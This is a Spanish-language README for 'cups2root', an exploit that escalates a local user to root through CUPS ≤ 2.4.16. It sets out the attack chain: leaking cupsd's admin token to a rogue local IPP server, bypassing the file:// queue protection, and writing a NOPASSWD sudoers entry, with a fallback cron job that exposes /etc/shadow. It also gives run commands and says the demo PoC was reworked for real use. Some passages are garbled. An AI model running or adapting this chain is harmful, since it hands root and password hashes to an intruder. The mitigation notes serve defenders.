
Escalada de privilegios local contra un `cupsd` root.
cups2root, sin arnés)CVSS 3.x : 8.4 HIGH (aprox. — verificar)
CWE : CWE-287 (Autenticación incorrecta) + CWE-269 (Gestión incorrecta de privilegios)
Fix : CUPS 2.4.17+
Afecta : CUPS ≤ 2.4.16 con cupsd ejecutándose como root y 631 accesible localmente
Escalada de privilegios local contra un cupsd root. Cuando se le fuerza a actuar como
cliente IPP hacia un servidor local malicioso, cupsd responde a un desafío
401 WWW-Authenticate: Local reenviando su propio token de administrador. Capturar ese token permite a un usuario sin privilegios
controlar cupsd como administrador (root). Una cola de impresión persistente file:// (printer-is-temporary=false)
elude la política de FileDevice, por lo que un Print-Job sin procesar escribe bytes del atacante en cualquier ruta como
root — aquí un fragmento de sudoers NOPASSWD.
Dos primitivas se encadenan para lograr escritura arbitraria de archivos como root:
Local reutilizable. cupsd acepta una autenticación Local respaldada por un certificado
root bajo /run/cups/certs/. Actuando como cliente IPP, ofrece ese token de administrador
cuando se le desafía con 401 WWW-Authenticate: Local. Apunta cupsd a un servidor IPP falso
que controles y capturarás un token válido para controlarlo como root.file:// como device-uri se rechaza por defecto. Crear la cola
con printer-is-temporary=false la hace persistente y sortea esa protección; un Print-Job sin procesar
escribe entonces sus bytes directamente en el archivo objetivo, como root. cupsd (root) rogue server 127.0.0.1:9189
| |
CUPS-Create-Local-Printer |
device-uri=ipp://127.0.0.1:9189/ipp/print |
| "validate" the printer |
|----------------------------------->|
| 401 WWW-Authenticate: Local |
|<-----------------------------------|
| retry + Authorization: Local <T> |
|----------------------------------->| capture <T>
<T> es el propio token de administrador de cupsd — reenvíalo contra /admin/ y serás equivalente a root.
1. Cap thread bind 127.0.0.1:9189, answer 401 Local, capture token
2. Coerce CUPS-Create-Local-Printer -> device-uri ipp://127.0.0.1:9189/...
-> cupsd connects out -> 401 -> retry -> [+] Local token
3. Root write CUPS-Add-Modify-Printer device-uri=file:///etc/sudoers.d/<user>-pwn
printer-is-temporary=false (FileDevice bypass) + accept + resume
Print-Job (application/vnd.cups-raw, gzip) = "<user> ALL=(ALL) NOPASSWD: ALL"
4. Verify sudo -n id -> root
(fallback: a root cron job dropped to /etc/cron.d/<user>-pwn copies /etc/shadow
to /tmp/shadow-<user> mode 644; wait ≤90s for cron)
El PoC de referencia (GHSA-c54j-2vqw-wpwp / cups2root, R. de Jager) es un arnés de demostración: se
ejecuta como root, lanza su propio cupsd y un usuario unpriv desechable, luego sudo -u unpriv para
simular al atacante. Inutilizable tal cual. Cambios:
127.0.0.1:631.$ATTACKER); fragmento <user> ALL=(ALL) NOPASSWD: ALL.ipptool / lpadmin / lpinfo / cupsctl| Estado | Versiones |
|---|---|
| Vulnerable | CUPS ≤ 2.4.16 |
| Corregido | CUPS 2.4.17 y posteriores |
| Archivo | Rol |
|---|---|
exploit.py | PoC: fuga de token → cola file:// → Print-Job sin procesar → root vía sudoers |
README.md | Este archivo |
Solo biblioteca estándar de Python 3 — sin dependencias.
# attacker = current user, cupsd on 127.0.0.1:631
python3 exploit.py
# override the target user (e.g. after landing as anotheruser)
ATTACKER=anotheruser python3 exploit.py
# non-default cupsd / capture endpoint
IPP_HOST=127.0.0.1 IPP_PORT=631 CAPTURE_PORT=9189 python3 exploit.py
En caso de éxito:
[+] Local token: <token>
[+] ROOT via sudoers
luego sudo -i.
cupsd como root cuando sea evitable; reducir privilegios / aislar el servicio.Local y el backend de dispositivo file://; mantener la política de FileDevice aplicada para
colas persistentes.systemctl disable --now cups cups-browsed y eliminar el
paquete.Este proyecto es solo para pruebas de seguridad autorizadas, educación e investigación defensiva. Eres responsable de cumplir con las leyes aplicables y las reglas de enfrentamiento de tu laboratorio o cliente.